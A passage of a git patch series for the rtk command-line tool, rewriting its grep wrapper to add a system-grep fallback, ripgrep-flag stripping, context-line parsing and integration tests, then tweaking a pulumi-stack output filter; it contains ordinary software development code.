grep-only syntax (`--include`, `--exclude`, ...) works: ripgrep is the fast path and rtk falls back to system grep when ripgrep rejects a flag. - rtk grep never emits more than plain grep: if grouping is not smaller than `file:line:content`, the raw form is shown. Resolves #2543. --- src/cmds/system/grep_cmd.rs | 456 ++++++++++++++++++++++++++++-------- tests/grep_compress_test.rs | 319 +++++++++++++++++++++++++ tests/grep_context_test.rs | 111 +++++++++ 3 files changed, 786 insertions(+), 100 deletions(-) create mode 100644 tests/grep_compress_test.rs create mode 100644 tests/grep_context_test.rs diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index b3954526a1..ada13fc93d 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -1,8 +1,8 @@ //! Filters grep output by grouping matches by file. -use crate::core::stream::exec_capture; +use crate::core::stream::{exec_capture, CaptureResult}; use crate::core::tracking; -use crate::core::utils::resolved_command; +use crate::core::utils::{resolved_command, strip_ansi}; use crate::core::{args_utils, config}; use anyhow::{Context, Result}; use regex::Regex; @@ -128,6 +128,69 @@ fn strip_recursive(arg: &str) -> Option { } } +/// Ripgrep-only flags the grep fallback drops so grep doesn't abort (issue #2167). +const RG_ONLY_LONG: &[&str] = &[ + "--glob", + "--iglob", + "--type", + "--type-not", + "--type-add", + "--type-clear", + "--hidden", + "--no-ignore", + "--pcre2", + "--json", + "--stats", + "--sort", + "--sortr", + "--engine", + "--mmap", + "--no-mmap", + "--trim", + "--one-file-system", + "--max-columns", + "--max-depth", + "--max-filesize", + "--path-separator", + "--field-context-separator", + "--field-match-separator", + "--pre", + "--pre-glob", +]; + +fn strip_rg_only>(extra_args: &[T]) -> Vec<&str> { + let mut out = Vec::new(); + let mut skip_next = false; + for arg in extra_args { + let a = arg.as_ref(); + if skip_next { + skip_next = false; + continue; + } + let name = a.split('=').next().unwrap_or(a); + let rg_only = RG_ONLY_LONG.contains(&name) || a == "-g" || a == "-T"; + if rg_only { + let takes_value = a == "-g" || a == "-T" || VALUE_FLAGS_LONG.contains(&name); + if takes_value && !a.contains('=') { + skip_next = true; + } + continue; + } + out.push(a); + } + out +} + +fn has_shape_flag>(extra_args: &[T]) -> bool { + extra_args.iter().any(|arg| { + let name = arg.as_ref().split('=').next().unwrap_or(""); + matches!( + name, + "--column" | "--vimgrep" | "-b" | "--byte-offset" | "--null-data" + ) + }) +} + /// Extracts `(patterns, paths, flags)` from the raw trailing args. /// /// - `patterns`: positional pattern + all `-e`/`--regexp` values. Empty → error. @@ -251,6 +314,109 @@ fn extract_pattern_path>(args: &[T]) -> (Vec, Vec, (patterns, paths, flags) } +fn unparsed_signal(stdout: &str) -> usize { + stdout + .lines() + .filter(|line| { + let trimmed = line.trim(); + !trimmed.is_empty() && trimmed != "--" && parse_match_line(line).is_none() + }) + .count() +} + +/// Run rg; fall back to system grep when rg can't run or rejects the invocation +/// (exit 2, no output) so any grep-ism (e.g. --include) still works (#2543). +/// #2167: if grep also aborts on a flag, retry it bare. +fn grep_capture>( + rg_base: &[&str], + grep_base: &[&str], + file_type: Option<&str>, + extra_args: &[T], + patterns: &[String], + paths: &[String], +) -> Result { + let mut rg_cmd = resolved_command("rg"); + rg_cmd.args(rg_base); + if let Some(ft) = file_type { + rg_cmd.arg("--type").arg(ft); + } + rg_cmd.args(extra_args.iter().map(|a| a.as_ref())); + for p in patterns { + rg_cmd.args(["-e", &p.replace(r"\|", "|")]); + } + rg_cmd.arg("--"); + rg_cmd.args(paths); + + match exec_capture(&mut rg_cmd) { + Ok(r) if !(r.exit_code == 2 && r.stdout.is_empty()) => Ok(r), + _ => { + // --null not -Z: BSD grep -Z is --decompress (#2310); strip_rg_only (#2167). + let stripped = strip_rg_only(extra_args); + let result = run_grep_fallback(grep_base, file_type, &stripped, patterns, paths)?; + if result.exit_code == 2 && result.stdout.is_empty() && result.stderr.contains("option") { + // grep aborted on an rg-only flag that strip_rg_only missed; retry bare (#2167). + run_grep_fallback(grep_base, file_type, &[], patterns, paths) + } else { + Ok(result) + } + } + } +} + +fn run_grep_fallback( + grep_base: &[&str], + file_type: Option<&str>, + extra_args: &[&str], + patterns: &[String], + paths: &[String], +) -> Result { + let mut grep_cmd = resolved_command("grep"); + grep_cmd.args(grep_base); + // file_type cannot be translated to grep syntax; silently skip. + let _ = file_type; + grep_cmd.args(extra_args); + for p in patterns { + grep_cmd.args(["-e", p]); + } + grep_cmd.arg("--"); + grep_cmd.args(paths); + exec_capture(&mut grep_cmd).context("grep/rg failed") +} + +#[allow(clippy::too_many_arguments)] +fn passthrough>( + timer: &tracking::TimedExecution, + base: &[&str], + grep_base: &[&str], + file_type: Option<&str>, + extra_args: &[T], + patterns: &[String], + paths: &[String], + pattern_display: &str, + path_display: &str, +) -> Result { + let result = grep_capture(base, grep_base, file_type, extra_args, patterns, paths) + .context("grep/rg failed")?; + + print!("{}", strip_ansi(&result.stdout)); + if !result.stderr.is_empty() { + eprint!("{}", result.stderr.trim()); + } + + let args_display = if extra_args.is_empty() { + format!("'{}' {}", pattern_display, path_display) + } else { + let joined: Vec<&str> = extra_args.iter().map(|a| a.as_ref()).collect(); + format!("{} '{}' {}", joined.join(" "), pattern_display, path_display) + }; + + timer.track_passthrough( + &format!("grep {}", args_display), + &format!("rtk grep {} (passthrough)", args_display), + ); + Ok(result.exit_code) +} + pub fn run( max_line_len: usize, max_results: usize, @@ -312,76 +478,32 @@ pub fn run( eprintln!("grep: '{}' in {}", pattern_display, path_display); } - let mut rg_cmd = resolved_command("rg"); - // --no-ignore-vcs: match grep -r behavior (don't skip .gitignore'd files). - // Without this, rg returns 0 matches for files in .gitignore, causing - // false negatives that make AI agents draw wrong conclusions. - // Using --no-ignore-vcs (not --no-ignore) so .ignore/.rgignore are still respected. - // -H: always emit the filename. - // -0: NUL-separate filename. Allows the parser to disambiguate filenames or - // content containing `:digits:` patterns (issue #1436). - rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs"]); - - if let Some(ft) = file_type { - rg_cmd.arg("--type").arg(ft); - } - - // extra_args is already stripped of -r/-R/-recursive by extract_pattern_path - rg_cmd.args(&extra_args); - - // All patterns as -e flags (BRE \| → | translation for rg's PCRE engine). - // Using -e keeps `--` semantically as a flag/path separator, not part of the pattern. - for p in &patterns { - rg_cmd.args(["-e", &p.replace(r"\|", "|")]); - } - - // `--` after all flags: prevents rg from interpreting path args starting - // with `-` as its own flags. - rg_cmd.arg("--"); - rg_cmd.args(&paths); - - let result = exec_capture(&mut rg_cmd) - .or_else(|_| { - // rg unavailable: fall back to system grep with the original, - // untranslated patterns (grep interprets BRE natively). - let mut grep_cmd = resolved_command("grep"); - grep_cmd.args(&extra_args); - for p in &patterns { - grep_cmd.args(["-e", p]); - } - // --null (not -Z): on BSD/macOS grep -Z means --decompress, not the - // NUL filename separator parse_match_line() needs (issue #2310). - grep_cmd.args(["-rnH", "--null", "--"]); - grep_cmd.args(&paths); - exec_capture(&mut grep_cmd) - }) - .context("grep/rg failed")?; - - // Passthrough output flags that produce output that is already small. - if has_format_flag(&extra_args) { - print!("{}", result.stdout); - if !result.stderr.is_empty() { - eprint!("{}", result.stderr.trim()); - } - - let args_display = if extra_args.is_empty() { - format!("'{}' {}", pattern_display, path_display) - } else { - format!( - "{} '{}' {}", - extra_args.join(" "), - pattern_display, - path_display - ) - }; - - timer.track_passthrough( - &format!("grep {}", args_display), - &format!("rtk grep {} (passthrough)", args_display), + // format/shape flags: native passthrough, no -0 NUL leak (#2333). + if has_format_flag(&extra_args) || has_shape_flag(&extra_args) { + return passthrough( + &timer, + &["--no-heading", "--no-ignore-vcs"], + &["-r"], + file_type, + &extra_args, + &patterns, + &paths, + &pattern_display, + &path_display, ); - return Ok(result.exit_code); } + // GROUP path: -0 NUL-disambiguates file:line for the reparse (#1436). + let result = grep_capture( + &["-nH0", "--no-heading", "--no-ignore-vcs"], + &["-rnH", "--null"], + file_type, + &extra_args, + &patterns, + &paths, + ) + .context("grep/rg failed")?; + let exit_code = result.exit_code; let raw_output = result.stdout.clone(); @@ -411,6 +533,22 @@ pub fn run( return Ok(exit_code); } + // Safety net: unparseable shape → passthrough verbatim, never silently drop (#2333). + let signal = unparsed_signal(&raw_output); + if signal > 0 { + return passthrough( + &timer, + &["-nH", "--no-heading", "--no-ignore-vcs"], + &["-rnH"], + file_type, + &extra_args, + &patterns, + &paths, + &pattern_display, + &path_display, + ); + } + let context_re = if context_only { Regex::new(&format!( "(?i).{{0,20}}{}.*", @@ -421,17 +559,23 @@ pub fn run( None }; - let mut by_file: HashMap> = HashMap::new(); - for line in result.stdout.lines() { - let Some((file, line_num, content)) = parse_match_line(line) else { + let mut by_file: HashMap> = HashMap::new(); + for line in raw_output.lines() { + let Some((file, line_num, is_match, content)) = parse_match_line(line) else { continue; }; let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &pattern_display); - by_file.entry(file).or_default().push((line_num, cleaned)); + by_file + .entry(file) + .or_default() + .push((line_num, is_match, cleaned)); } - // Derive total from parsed results so the header matches what we show. - let total_matches: usize = by_file.values().map(|v| v.len()).sum(); + let total_matches: usize = by_file + .values() + .flat_map(|v| v.iter()) + .filter(|(_, is_match, _)| *is_match) + .count(); let mut rtk_output = String::new(); rtk_output.push_str(&format!( @@ -445,56 +589,73 @@ pub fn run( files.sort_by_key(|(f, _)| *f); let per_file = config::limits().grep_max_per_file; - for (file, matches) in files { + for (file, entries) in files { if shown >= max_results { break; } let file_display = compact_path(file); - for (line_num, content) in matches.iter().take(per_file) { + for (line_num, is_match, content) in entries.iter().take(per_file) { if shown >= max_results { break; } - rtk_output.push_str(&format!("{}:{}:{}\n", file_display, line_num, content)); + if *is_match { + rtk_output.push_str(&format!("{}:{}:{}\n", file_display, line_num, content)); + } else { + rtk_output.push_str(&format!("{}-{}-{}\n", file_display, line_num, content)); + } shown += 1; } } - if total_matches > shown { - rtk_output.push_str(&format!("[+{} more]\n", total_matches - shown)); + let total_lines: usize = by_file.values().map(|v| v.len()).sum(); + if total_lines > shown { + rtk_output.push_str(&format!("[+{} more]\n", total_lines - shown)); } - print!("{}", rtk_output); + // Never-worse: show plain `file:line:content` (NUL `-0` -> `:`) if grouping didn't shrink it. + let plain = raw_output.replace('\0', ":"); + let output = if rtk_output.len() < plain.len() { + rtk_output + } else { + plain + }; + + print!("{}", output); timer.track( &format!("grep -rn '{}' {}", pattern_display, path_display), "rtk grep", &raw_output, - &rtk_output, + &output, ); Ok(exit_code) } -/// Parses a single rg/grep match line of the form `file\0line_number:content`. +/// Parses a single rg/grep match or context line of the form +/// `file\0line_number[:-]content`. /// /// Requires the underlying command to be invoked with `-0` (rg) or `--null` -/// (grep) so the filename is NUL-separated from `line:content`. NUL cannot -/// appear in -/// file paths, so the parser is unambiguous regardless of: +/// (grep) so the filename is NUL-separated from `line[:-]content`. NUL cannot +/// appear in file paths, so the parser is unambiguous regardless of: /// - content with `:` or `::` (e.g. `ClassRegistry::init(...)`, issue #1436); /// - paths with embedded `:` (Windows drive letters, weird filenames like /// `badly_named:52:file.txt`). /// -/// Returns `None` for lines that do not match the expected shape (e.g. rg -/// `-A`/`-B` context lines that use `-` as separator). -fn parse_match_line(line: &str) -> Option<(String, usize, &str)> { +/// Returns `None` for lines that do not match the expected shape. +/// The `bool` in the tuple is `true` for match lines (`:` separator) and +/// `false` for context lines (`-` separator, emitted by -A/-B/-C). +fn parse_match_line(line: &str) -> Option<(String, usize, bool, &str)> { lazy_static::lazy_static! { - static ref MATCH_LINE_RE: Regex = Regex::new(r"^([^\x00]+)\x00(\d+):(.*)$").unwrap(); + static ref MATCH_LINE_RE: Regex = Regex::new(r"^([^\x00]+)\x00(\d+)([:-])(.*)$").unwrap(); } MATCH_LINE_RE.captures(line).and_then(|caps| { - let (_, [file, line_num, content]) = caps.extract(); - let line_num: usize = line_num.parse().ok()?; - Some((file.to_string(), line_num, content)) + let file = caps.get(1)?.as_str().to_string(); + let line_num: usize = caps.get(2)?.as_str().parse().ok()?; + let sep = caps.get(3)?.as_str(); + let content = caps.get(4)?.as_str(); + let is_match = sep == ":"; + Some((file, line_num, is_match, content)) }) } @@ -1119,6 +1280,39 @@ mod tests { assert!(!has_format_flag(&["-i", "-w", "-A", "3"])); } + #[test] + fn test_strip_rg_only_drops_glob_and_value() { + assert_eq!(strip_rg_only(&["--glob", "*.rs", "-i"]), vec!["-i"]); + assert_eq!(strip_rg_only(&["-g", "*.rs", "-i"]), vec!["-i"]); + } + + #[test] + fn test_strip_rg_only_drops_inline_glob() { + assert_eq!(strip_rg_only(&["--glob=*.rs", "-i"]), vec!["-i"]); + } + + #[test] + fn test_strip_rg_only_drops_bool_flags() { + assert_eq!( + strip_rg_only(&["--hidden", "--pcre2", "--json", "-n"]), + vec!["-n"] + ); + } + + #[test] + fn test_strip_rg_only_drops_type_and_value() { + assert_eq!(strip_rg_only(&["--type", "rust", "-w"]), vec!["-w"]); + assert_eq!(strip_rg_only(&["-T", "rust", "-w"]), vec!["-w"]); + } + + #[test] + fn test_strip_rg_only_keeps_grep_compatible() { + assert_eq!( + strip_rg_only(&["-i", "-w", "-A", "3", "-v"]), + vec!["-i", "-w", "-A", "3", "-v"] + ); + } + // Verify line numbers are always enabled in rg invocation (grep_cmd.rs:24). // The -n/--line-numbers clap flag in main.rs is a no-op accepted for compat. #[test] @@ -1138,14 +1332,15 @@ mod tests { } // --- issue #1436: parse_match_line robustness --- - // Input shape is `file\0line:content` (rg --null / grep -Z). + // Input shape is `file\0line[:-]content` (rg --null / grep -Z). #[test] fn test_parse_match_line_simple() { let line = "file.php\x0010:use Foo\\Bar;"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.php"); assert_eq!(line_num, 10); + assert!(is_match); assert_eq!(content, "use Foo\\Bar;"); } @@ -1155,9 +1350,10 @@ mod tests { #[test] fn test_parse_match_line_content_with_double_colon() { let line = "externalImportShell.class.php\x0081: $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, "externalImportShell.class.php"); assert_eq!(line_num, 81); + assert!(is_match); assert_eq!( content, " $this->queueProcessModel = ClassRegistry::init('Collections.QueueProcess');" @@ -1169,9 +1365,10 @@ mod tests { #[test] fn test_parse_match_line_windows_path() { let line = "C:\\src\\file.rs\x0042:fn main() {}"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, r"C:\src\file.rs"); assert_eq!(line_num, 42); + assert!(is_match); assert_eq!(content, "fn main() {}"); } @@ -1180,9 +1377,10 @@ mod tests { #[test] fn test_parse_match_line_filename_with_colons() { let line = "badly_named:52:file.txt\x001:xxx"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, "badly_named:52:file.txt"); assert_eq!(line_num, 1); + assert!(is_match); assert_eq!(content, "xxx"); } @@ -1191,9 +1389,10 @@ mod tests { #[test] fn test_parse_match_line_content_with_digit_colons() { let line = "log.txt\x007:debug: counter is :42: now"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, "log.txt"); assert_eq!(line_num, 7); + assert!(is_match); assert_eq!(content, "debug: counter is :42: now"); } @@ -1212,12 +1411,24 @@ mod tests { #[test] fn test_parse_match_line_empty_content() { let line = "file.rs\x007:"; - let (file, line_num, content) = parse_match_line(line).unwrap(); + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); assert_eq!(file, "file.rs"); assert_eq!(line_num, 7); + assert!(is_match); assert_eq!(content, ""); } + // Context line: separator is `-` → is_match==false + #[test] + fn test_parse_match_line_context_line() { + let line = "file.txt\x004-after1"; + let (file, line_num, is_match, content) = parse_match_line(line).unwrap(); + assert_eq!(file, "file.txt"); + assert_eq!(line_num, 4); + assert!(!is_match, "dash separator must yield is_match==false"); + assert_eq!(content, "after1"); + } + #[test] fn test_rg_no_ignore_vcs_flag_accepted() { // Verify rg accepts --no-ignore-vcs (used to match grep -r behavior for .gitignore) @@ -1237,4 +1448,49 @@ mod tests { } // If rg is not installed, skip gracefully (test still passes) } + + // --- unparsed_signal --- + + #[test] + fn test_unparsed_signal_parseable_lines_yield_zero() { + // NUL-separated match lines all parse → signal == 0 + let stdout = "file.txt\x001:hello\nfile.txt\x002:world\n"; + assert_eq!(unparsed_signal(stdout), 0); + } + + #[test] + fn test_unparsed_signal_context_separator_not_counted() { + // The `--` context separator emitted by rg/grep between match groups + // must not be counted as an unparsed line. + let stdout = "file.txt\x001:hello\n--\nfile.txt\x003:world\n"; + assert_eq!(unparsed_signal(stdout), 0); + } + + #[test] + fn test_unparsed_signal_empty_line_not_counted() { + let stdout = "file.txt\x001:hello\n\nfile.txt\x002:world\n"; + assert_eq!(unparsed_signal(stdout), 0); + } + + #[test] + fn test_unparsed_signal_bare_colon_line_counted() { + // A line like "file.rs:1:content" (no NUL) is what --heading or + // --no-filename output looks like — it must be counted. + let stdout = "file.rs:1:content\n"; + assert_eq!(unparsed_signal(stdout), 1); + } + + #[test] + fn test_unparsed_signal_binary_notice_counted() { + // rg emits "Binary file foo matches" for binary files; no NUL → counted. + let stdout = "Binary file foo matches\n"; + assert_eq!(unparsed_signal(stdout), 1); + } + + #[test] + fn test_unparsed_signal_context_lines_parse_ok() { + // Context lines (dash separator) parse via the updated regex → not counted. + let stdout = "file.txt\x003-context_before\nfile.txt\x004:match\nfile.txt\x005-context_after\n"; + assert_eq!(unparsed_signal(stdout), 0); + } } diff --git a/tests/grep_compress_test.rs b/tests/grep_compress_test.rs new file mode 100644 index 0000000000..a0366bd63e --- /dev/null +++ b/tests/grep_compress_test.rs @@ -0,0 +1,319 @@ +#![cfg(unix)] +//! Integration tests for the GROUP path with context flags (-A/-B/-C) and the +//! safety-net passthrough for flags that break the NUL-based reparse. + +use std::process::Command; + +fn rtk() -> Command { + Command::new(env!("CARGO_BIN_EXE_rtk")) +} + +fn rg_available() -> bool { + Command::new("rg") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +fn write_temp(content: &str) -> (tempfile::TempDir, std::path::PathBuf) { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("test.txt"); + std::fs::write(&path, content).expect("write"); + (dir, path) +} + +// --- context compression (the gain win) --- + +#[test] +fn after_context_yields_grouped_header_with_correct_match_count() { + if !rg_available() { + return; + } + let long = "x".repeat(120); + let content = + format!("before {long}\nMATCH {long}\nafter1 {long}\nafter2 {long}\nend {long}\n"); + let (_dir, path) = write_temp(&content); + let out = rtk() + .args(["grep", "-A2", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + stdout.contains("1 matches"), + "header must count only the match line, not context lines:\n{stdout}" + ); + assert!( + stdout.contains("after1"), + "after-context line 1 missing:\n{stdout}" + ); + assert!( + stdout.contains("after2"), + "after-context line 2 missing:\n{stdout}" + ); +} + +#[test] +fn after_context_uses_dash_separator_for_context_lines() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("MATCH\nafter1\n"); + let out = rtk() + .args(["grep", "-A1", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + let has_context_dash = stdout.lines().any(|l| l.contains("-after1")); + assert!( + has_context_dash, + "context lines must use dash separator:\n{stdout}" + ); +} + +#[test] +fn plain_grep_still_shows_grouped_header() { + if !rg_available() { + return; + } + let long = "x".repeat(120); + let content = format!("foo {long}\nbaz\nfoo {long}\n"); + let (_dir, path) = write_temp(&content); + let out = rtk() + .args(["grep", "foo", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + stdout.contains("matches in"), + "grouped header must show when grouping compresses:\n{stdout}" + ); +} + +#[test] +fn true_no_match_exits_1() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "zzzz_no_match_xyz", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + + assert_eq!( + out.status.code(), + Some(1), + "true no-match must exit 1, not 0" + ); +} + +// --- safety net: flags that break the NUL-based reparse --- + +#[test] +fn no_line_number_flag_produces_output_not_zero_matches() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "-N", "hello", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains("0 matches"), + "-N output must not be reported as '0 matches':\n{stdout}" + ); + assert!( + stdout.contains("hello"), + "-N output must contain the matching line:\n{stdout}" + ); +} + +#[test] +fn no_filename_flag_produces_output_not_zero_matches() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "-I", "hello", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains("0 matches"), + "-I output must not be reported as '0 matches':\n{stdout}" + ); + assert!( + stdout.contains("hello"), + "-I output must contain the matching line:\n{stdout}" + ); +} + +#[test] +fn heading_flag_produces_output_not_zero_matches() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "--heading", "hello", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains("0 matches"), + "--heading output must not be reported as '0 matches':\n{stdout}" + ); + assert!( + stdout.contains("hello"), + "--heading output must contain the matching line:\n{stdout}" + ); +} + +#[test] +fn pretty_flag_produces_output_not_zero_matches() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "-p", "hello", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains("0 matches"), + "-p output must not be reported as '0 matches':\n{stdout}" + ); + assert!( + stdout.contains("hello"), + "-p output must contain the matching line:\n{stdout}" + ); +} + +// --- shape flags: passthrough, no NUL leak --- + +#[test] +fn column_flag_output_has_no_nul() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("hello world\n"); + let out = rtk() + .args(["grep", "--column", "hello", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains('\u{0}'), + "--column output must not contain NUL:\n{stdout:?}" + ); + assert!( + stdout.contains("hello"), + "--column output must contain the match:\n{stdout}" + ); +} + +// --- token savings (the compression gain) --- + +fn count_tokens(s: &str) -> usize { + s.split_whitespace().count() +} + +#[test] +fn bulky_grep_yields_token_savings() { + if !rg_available() { + return; + } + let filler: String = (0..50).map(|i| format!("word{i} ")).collect(); + let mut content = String::new(); + for i in 0..20 { + content.push_str(&format!("MATCH line {i} {filler}\n")); + } + let (_dir, path) = write_temp(&content); + + let raw = Command::new("rg") + .args(["-nH", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rg"); + let raw_tokens = count_tokens(&String::from_utf8_lossy(&raw.stdout)); + + let out = rtk() + .args(["grep", "MATCH", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let rtk_tokens = count_tokens(&String::from_utf8_lossy(&out.stdout)); + + let savings = 100.0 - (rtk_tokens as f64 / raw_tokens as f64 * 100.0); + assert!( + savings >= 50.0, + "expected >=50% token savings, got {savings:.1}% (raw={raw_tokens}, rtk={rtk_tokens})" + ); +} + +// --- grep-only syntax falls back to system grep (#2543) --- + +#[test] +fn grep_only_flags_fall_back_to_system_grep() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("a.java"), "DRAFT in java\n").expect("write"); + std::fs::write(dir.path().join("b.txt"), "DRAFT in text\n").expect("write"); + let path = dir.path().to_str().unwrap(); + + let out = rtk() + .args(["grep", "-rn", "DRAFT", "--include=*.java", path]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + stdout.contains("a.java"), + "--include=*.java should match the java file:\n{stdout}" + ); + assert!( + !stdout.contains("b.txt"), + "--include=*.java should exclude the txt file:\n{stdout}" + ); + assert!( + !stdout.contains("grep failed") && !stdout.contains("unrecognized"), + "rg-incompatible flag must fall back to grep, not error:\n{stdout}" + ); +} + +// --- never-worse guard: small greps must not cost more than plain grep --- + +#[test] +fn small_grep_not_worse_than_plain() { + if !rg_available() { + return; + } + let (_dir, path) = write_temp("foo\n"); + let out = rtk() + .args(["grep", "foo", path.to_str().unwrap()]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + stdout.contains(":1:foo"), + "should show the match:\n{stdout}" + ); + assert!( + !stdout.contains("matches in"), + "header that costs more than raw must be dropped:\n{stdout}" + ); +} diff --git a/tests/grep_context_test.rs b/tests/grep_context_test.rs new file mode 100644 index 0000000000..461a6e3727 --- /dev/null +++ b/tests/grep_context_test.rs @@ -0,0 +1,111 @@ +#![cfg(unix)] +//! Regressions from the #2333 grep overhaul: -A/-B/-C must keep context lines, +//! -c/-o must not leak ripgrep's NUL separator. + +use std::process::Command; + +fn rtk() -> Command { + Command::new(env!("CARGO_BIN_EXE_rtk")) +} + +fn rg_available() -> bool { + Command::new("rg") + .arg("--version") + .output() + .map(|o| o.status.success()) + .unwrap_or(false) +} + +#[test] +fn after_context_lines_are_shown() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().unwrap(); + let f = dir.path().join("ctx.txt"); + std::fs::write(&f, "before1\nbefore2\nMATCHME\nafter1\nafter2\nafter3\n").unwrap(); + let out = rtk() + .args(["grep", "-A2", "MATCHME", f.to_str().unwrap()]) + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + stdout.contains("after1"), + "missing after-context line 1:\n{stdout}" + ); + assert!( + stdout.contains("after2"), + "missing after-context line 2:\n{stdout}" + ); + assert!(!stdout.contains("after3"), "leaked beyond -A2:\n{stdout}"); +} + +#[test] +fn before_context_lines_are_shown() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().unwrap(); + let f = dir.path().join("ctx.txt"); + std::fs::write(&f, "before1\nbefore2\nMATCHME\nafter1\n").unwrap(); + let out = rtk() + .args(["grep", "-B1", "MATCHME", f.to_str().unwrap()]) + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + stdout.contains("before2"), + "missing before-context line:\n{stdout}" + ); + assert!(!stdout.contains("before1"), "leaked beyond -B1:\n{stdout}"); +} + +#[test] +fn count_output_has_no_nul_separator() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().unwrap(); + let f = dir.path().join("nul.txt"); + std::fs::write(&f, "TODO one\nnope\nTODO two\n").unwrap(); + let out = rtk() + .args(["grep", "-c", "TODO", f.to_str().unwrap()]) + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + !stdout.contains('\u{0}'), + "NUL leaked into -c output: {stdout:?}" + ); + assert!( + stdout.contains('2'), + "count missing from -c output: {stdout:?}" + ); +} + +#[test] +fn only_matching_output_has_no_nul_separator() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().unwrap(); + let f = dir.path().join("nul.txt"); + std::fs::write(&f, "TODO one\nnope\nTODO two\n").unwrap(); + let out = rtk() + .args(["grep", "-o", "TODO", f.to_str().unwrap()]) + .output() + .unwrap(); + let stdout = String::from_utf8_lossy(&out.stdout); + assert!( + !stdout.contains('\u{0}'), + "NUL leaked into -o output: {stdout:?}" + ); + assert!( + stdout.contains("TODO"), + "match missing from -o output: {stdout:?}" + ); + assert!( + !stdout.contains("1:TODO"), + "line-number prefix leaked into -o output: {stdout:?}" + ); +} From 5cfe4d5f87cecc7996cdbd837b7bf3dab2518a4e Mon Sep 17 00:00:00 2001 From: Wladi Mitzel Date: Tue, 23 Jun 2026 14:51:39 +0200 Subject: [PATCH 234/257] fix(pulumi): keep Owner and version in pulumi-stack filter Per review: avoid signal loss that pushes agents to retry with `rtk proxy`. pulumi-stack now keeps the full stack identity block (Owner:, Pulumi version used:) alongside the header and Last updated:. Only interactive prompt and help-footer noise is stripped. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/filters/pulumi-stack.toml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/filters/pulumi-stack.toml b/src/filters/pulumi-stack.toml index 5518a07a25..27850fed33 100644 --- a/src/filters/pulumi-stack.toml +++ b/src/filters/pulumi-stack.toml @@ -8,8 +8,6 @@ match_output = [ strip_lines_matching = [ "^\\s*$", "^Please choose a stack", - "^\\s*Owner:", - "^\\s*Pulumi version used:", "^More information at:", "^Use `pulumi ", "^Current stack outputs \\(0\\):", @@ -23,7 +21,7 @@ input = "No stacks found in the current workspace.\n" expected = "pulumi stack: empty" [[tests.pulumi-stack]] -name = "keeps stack identity, strips version noise" +name = "keeps stack identity, strips prompt noise" input = """ Please choose a stack, or create a new one: Current stack is dev: @@ -40,7 +38,9 @@ Current stack resources (3): """ expected = """Current stack is dev: Managed by my-user + Owner: my-org Last updated: 2 hours ago + Pulumi version used: v3.120.0 Current stack resources (3): TYPE NAME pulumi:pulumi:Stack my-proj-dev From 3a59d2323524594d3182d301838cdb5953c00b36 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 23 Jun 2026 16:09:29 +0200 Subject: [PATCH 235/257] test(grep): cover 